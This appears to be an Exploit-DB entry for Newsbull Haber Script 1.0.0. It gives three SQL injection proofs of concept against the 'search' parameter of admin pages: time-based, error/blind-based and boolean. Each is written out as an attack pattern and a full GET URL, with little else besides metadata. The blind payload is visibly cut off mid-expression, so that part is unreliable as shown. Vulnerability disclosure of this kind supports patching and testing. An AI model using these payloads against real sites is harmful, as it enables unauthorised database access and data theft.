Newsbull Haber Script 1.0.0 - 'search' SQL Injection

EDB-ID:
46266

CVE:
N/A

EDB Verified: ×

Author:
MEHMET EMIROGLU

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2019-01-28

Vulnerable App:

```
########################################################################

# Exploit Title: Newsbull Haber Script - SQL Injection (Time Based)
# Dork: N/A
# Date: 28-01-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: http://newsbull.org/
# Software Link: https://github.com/gurkanuzunca/newsbull
# Version: 1.0.0
# Category: Webapps
# Tested on: Wampp @Win
# CVE: N/A

########################################################################

# Vulnerabilities
# For the SQL injection to be applied, the user must log in.
# Running the injection command in the POC section will display the db
data.
# The proof of the deficit is in the link below.
# https://i.hizliresim.com/zj0Q77.jpg

########################################################################

# POC - SQLi (Time Based)
# Parameters : search
# Attack Pattern : -1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'
# GET Request :
http://localhost/[PATH]/admin/comment/records?userId=1&search=1'[SQL]
# URL : http://localhost/[PATH]/admin/comment/records?userId=1&search=-1'
or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'

########################################################################


########################################################################

# Exploit Title: Newsbull Haber Script 1.0.0 - SQL Injection
# Dork: N/A
# Date: 28-01-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: http://newsbull.org/
# Demo Page : http://newsbull.gurkanuzunca.com/
# Software Link: https://github.com/gurkanuzunca/newsbull
# Version: 1.0.0
# Category: Webapps
# Tested on: Wampp @Win
# CVE: N/A

########################################################################

# Vulnerabilities
# For the SQL injection to be applied, the user must log in.
# Running the injection command in the POC section will display the db
data.
# The proof of the deficit is in the link below.
# https://i.hizliresim.com/LlOBQz.jpg

########################################################################

# POC - SQLi (Blind)
# Parameters : search
# Attack Pattern : -1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT
COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(
FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
# GET Request : http://localhost/newsbull/admin/category/records?
search=1'[SQL]
```

```
# GET Request : http://localhost/newsbull/admin/news/records?search=1'
[SQL]
# URL : http://localhost/newsbull/admin/category/records?search=-1' and 6=3
or 1=1+(SELECT 1 and ROW(1,1)>(SELECT
COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(
FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

#########################################################################

#########################################################################

# Exploit Title: Newsbull Haber Script - (Boolean) SQL Injection
# Dork: N/A
# Date: 28-01-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: http://newsbull.org/
# Software Link: https://github.com/gurkanuzunca/newsbull
# Version: 1.0.0
# Category: Webapps
# Tested on: Wampp @Win
# CVE: N/A

#########################################################################

# Vulnerabilities
# For the SQL injection to be applied, the user must log in.
# Running the injection command in the POC section will display the db
data.
# The proof of the deficit is in the link below.
# https://i.hizliresim.com/LlOBQz.jpg

#########################################################################

# POC - SQLi (Boolean Based)
# Parameters : search
# Attack Pattern : ' OR 1=1 OR 'cw'='cw
# GET Request : http://localhost/newsbull/admin/menu/childs/5?
search=1'[SQL]
# URL : http://localhost/newsbull/admin/menu/childs/5?search=' OR 1=1 OR
'cw'='cw

#########################################################################
```

Tags: SQL Injection (SQLi) **Advisory/Source:** Link